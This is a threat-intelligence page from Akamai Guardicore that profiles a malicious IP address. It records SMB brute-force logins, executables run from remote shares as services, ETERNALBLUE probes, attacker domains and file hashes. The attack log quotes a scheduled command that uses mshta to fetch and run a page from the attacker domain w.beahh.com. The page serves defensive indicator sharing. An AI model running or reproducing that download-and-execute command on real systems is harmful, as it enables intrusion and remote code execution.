Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 112.30.25.122Malicious

IP Address: 112.30.25.122Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

SMB Download and Execute Service Deletion Execute from Share SMB Null Session Login Service Stop SMB Brute Force Successful SMB Login Service Creation MSSQL File Operation By CMD Scheduled Task Creation SMB Share Connect CMD DNS Query Access Suspicious Domain Access Share Download File Service Start IDS - A Network Trojan was detected Scheduled Task Run

Associated Attack Servers

v.beahh.com w.beahh.com

45.83.67.146 81.88.147.7 139.162.110.42 196.219.95.172

Basic Information

IP Address

112.30.25.122

Domain

-

ISP

-

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2022-12-31

Last seen in Akamai Guardicore Segmentation

2023-04-12

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: admin - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\jIXSqmKV.exe was downloaded

Download File

rsjmrxfa.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\rsjmrxfa.exe as a service named hikW under service group None

Service Start Service Creation

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

c:\windows\system32\services.exe installed and started \\server-backup\c$\jixsqmkv.exe as a service named Xtdd under service group None

Service Start Service Creation

jixsqmkv.exe was executed from the remote share \\server-backup\c$

Execute from Share

C:\WINDOWS\Temp\tmp.vbs was downloaded 2 times

Download File

A user logged in using SMB with the following username: admin - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

SMB Brute Force Successful SMB Login

Service Xtdd was stopped

Service Stop

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (MSF style)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (Generic Flags)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.beahh.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.beahh.com 2 times

DNS Query Access Suspicious Domain

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 7 times

SMB Brute Force Successful SMB Login

C:\QldvyRLe.exe was downloaded

Download File

C:\QggwkCqB.exe was downloaded

Download File

The file C:\WINDOWS\xYBgOxY.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started cmd as a service named gDZs under service group None

Service Start Service Creation

qggwkcqb.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\qggwkcqb.exe as a service named olrZ under service group None

Service Start Service Creation

qldvyrle.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\qldvyrle.exe as a service named usxh under service group None

Service Start Service Creation

Service usxh was stopped

Service Stop

C:\TtAZSOVb.exe was downloaded

Download File

lenoxlju.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\lenoxlju.exe as a service named juLL under service group None

Service Start Service Creation

Service juLL was stopped

Service Stop

Connection was closed due to timeout

Associated Files

C:\windows\temp\svchost.exe

SHA256: 05929cb002017dad38106bc13b33673b83a88a48653b7ef65d0acb7850b35318

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 1114a57b7dff0f37e65623f3a3b69e63d7f639f04d0156b227582bb4fb1283cb

195000 bytes

C:\yuioKFES.exe

SHA256: 191141665fe203f0e692001d11d2d6471ad7c5b42ca28a904c4b797bc986cf83

56320 bytes

C:\windows\temp\svchost.exe

SHA256: 217b1be61f0ea8510a74edf1321f6fa1f7b23ec739e8302ba419c698261e6523

325000 bytes